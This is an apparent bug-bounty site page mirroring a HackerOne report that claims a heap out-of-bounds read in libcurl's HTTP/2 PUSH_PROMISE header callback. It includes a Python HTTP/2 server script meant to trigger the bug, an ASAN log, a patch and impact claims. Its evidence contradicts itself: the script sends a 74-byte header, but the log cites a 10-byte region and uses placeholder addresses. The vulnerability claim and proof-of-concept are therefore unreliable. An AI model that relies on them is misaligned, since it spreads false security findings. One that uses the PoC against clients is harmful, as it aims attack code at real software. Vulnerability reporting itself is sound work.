Skip to content
Memory corruption Disclosed report Advanced

Heap Out-of-Bounds Read in lib/http2.c via Malformed PUSH_PROMISE Headers

The HTTP/2 header callback in libcurl treated header names and values from nghttp2 as null-terminated strings, although nghttp2 supplies raw buffers with explicit lengths. A malicious HTTP/2 server could therefore cause an out-of-bounds heap read, potentially disclosing adjacent memory or crashing the client.

darksql Follow

Originally disclosed on HackerOne

  • Disclosed after 3 hours

Summary A heap-based out-of-bounds read vulnerability exists in libcurl's HTTP/2 implementation. The on_header callback in lib/http2.c incorrectly treats header names and values provided by nghttp2 as null-terminated C-strings. Specifically, passing these pointers to curl_maprintf with the %s format specifier triggers an out-of-bounds read via strlen(), as nghttp2 provides raw byte buffers with explicit lengths, not null-terminated strings. +1

Vulnerability Analysis & Root Cause

  1. API Contract Violation: According to the nghttp2 documentation, the nghttp2_on_header_callback provides pointers to the header name and value (name, value) alongside their lengths (namelen, valuelen). The documentation explicitly states:

"The 'name' and 'value' pointers are NOT guaranteed to be null-terminated. [...] Applications MUST use the provided length parameters.".

  1. Vulnerable Implementation: In lib/http2.c, the on_header function ignores the length parameters when formatting the string for PUSH_PROMISE headers, relying on curl_maprintf which internally uses strlen:

C

/* lib/http2.c around line 1642 - Vulnerable */ h = curl_maprintf("%s:%s", name, value); 3. Execution Flow:

curl_maprintf parses the %s format specifier.

It internally calls strlen() on the name and value pointers.

Since the malicious server sends a header without a null byte, strlen() reads past the allocated buffer boundary until it hits a coincidental null byte in adjacent heap memory.

This results in an Out-of-Bounds Read.

Steps to Reproduce

  1. Build Environment

Compile cURL with AddressSanitizer (ASAN) to visualize the memory violation:

Bash

./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" make -j$(nproc) 2. Reproduction Script (http2_server.py)

This Python script (using h2) establishes an HTTP/2 connection and pushes a stream with a non-null-terminated header.

Python

import asyncio, h2.connection, h2.events, h2.config

async def handle(reader, writer): config = h2.config.H2Configuration(client_side=False) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1}) writer.write(conn.data_to_send()) await writer.drain()

data = await reader.read(65535)
events = conn.receive_data(data)

for event in events:
    if isinstance(event, h2.events.RequestReceived):
        conn.send_headers(event.stream_id, [(':status', '200')])

        # MALICIOUS PAYLOAD: Header with no null termination logic
        malicious_name = b'x-oob-test' + b'A' * 64 
        malicious_val = b'trigger' + b'B' * 64

        conn.push_stream(event.stream_id, event.stream_id + 2, [
            (b':method', b'GET'), (b':path', b'/push'),
            (b':scheme', b'http'), (b':authority', b'localhost'),
            (malicious_name, malicious_val)
        ])
        writer.write(conn.data_to_send())
        await writer.drain()
        break
writer.close()

asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever()) 3. Execution

Run the server and connect with the ASAN-enabled cURL:

Bash

Terminal 1

python3 http2_server.py

Terminal 2

ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/ Evidence (ASAN Log) The following ASAN output confirms the read overflow. The READ of size... occurs inside strlen called by curl_maprintf.

Plaintext

==67356==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a... READ of size 11 at 0x6c352e0e001a thread T0 #0 0x... in strlen #1 0x... in curl_maprintf #2 0x... in on_header lib/http2.c:1642 ... 0x6c352e0e001a is located 0 bytes after 10-byte region... Recommended Fix The code must use the explicit namelen and valuelen parameters provided by the nghttp2 callback to limit the read operation.

Patch (lib/http2.c): Use the precision specifier %.*s which takes the length as an integer argument before the string pointer.

C

/* Fixed implementation */ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value); Diff:

Diff

--- a/lib/http2.c +++ b/lib/http2.c @@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,

  •  h = curl_maprintf("%s:%s", name, value);
    
  •  h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
    

Impact

Impact Information Disclosure: Attackers can read sensitive data (keys, tokens, other request data) from the heap memory adjacent to the header buffer.

Availability: If the OOB read accesses unmapped memory, the application will crash.

Attachments

code.png
code.png From the original on HackerOne

The original report as published on HackerOne, by darksql. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code passed length-delimited header buffers to a %s format specifier, which relies on strlen and therefore ignores the supplied lengths.

Impact

An attacker could read sensitive data such as keys and tokens from adjacent heap memory, or crash the application if the read reaches unmapped memory.

What the attacker needed

Victim connects to a malicious HTTP/2 server; server sends a PUSH_PROMISE header; curl built with nghttp2

The fix

The code should use the precision specifier with the supplied name and value lengths so the read is bounded.

How it was found

  1. Build curl with nghttp2 support and AddressSanitizer enabled.
  2. Run a small HTTP/2 server that pushes a stream carrying a header without a null terminator.
  3. Connect to that server with the instrumented curl using prior-knowledge HTTP/2.
  4. Observe the AddressSanitizer heap-buffer-overflow report inside strlen called from curl_maprintf.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program reads text, it usually needs to know where the text ends. Here the library assumed a zero byte marked the end, but the data it received had no such marker, so it kept reading past the buffer into neighbouring memory. A hostile server could use this to leak whatever happened to sit next to that buffer, or to crash the program.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.